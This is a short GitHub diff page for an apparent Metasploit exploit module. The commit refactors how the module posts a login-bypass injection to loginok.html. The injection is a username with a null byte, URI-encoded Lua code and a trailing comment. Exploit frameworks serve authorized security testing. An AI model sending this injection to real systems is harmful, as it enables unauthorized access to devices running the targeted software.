File tree Expand file tree Collapse file tree 1 file changed +6
-9
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +6
-9
lines changed Original file line number Diff line number Diff line change @@ -115,21 +115,18 @@ def exploit
115
115
116
116
inj = "#{ user } %00" + Rex ::Text . uri_encode ( lua ) . gsub ( '%0a' , '%0d' ) + '--'
117
117
118
- post_data = [
119
- "username=#{ inj } " ,
120
- "password=#{ pass } " ,
121
- "username_val=#{ user } " ,
122
- "password_val=#{ pass } "
123
- ] . join ( '&' )
124
-
125
118
res = send_request_cgi (
126
119
'method' => 'POST' ,
127
120
'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
128
121
'headers' => {
129
- 'Content-Type' => 'application/x-www-form-urlencoded' ,
130
122
'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
131
123
} ,
132
- 'data' => post_data
124
+ 'vars_post' => {
125
+ 'username' => inj ,
126
+ 'password' => pass ,
127
+ 'username_val' => user ,
128
+ 'password_val' => pass
129
+ }
133
130
)
134
131
fail_with ( Failure ::UnexpectedReply , 'Injection failed' ) unless res &.code == 200
135
132
You can’t perform that action at this time.
0 commit comments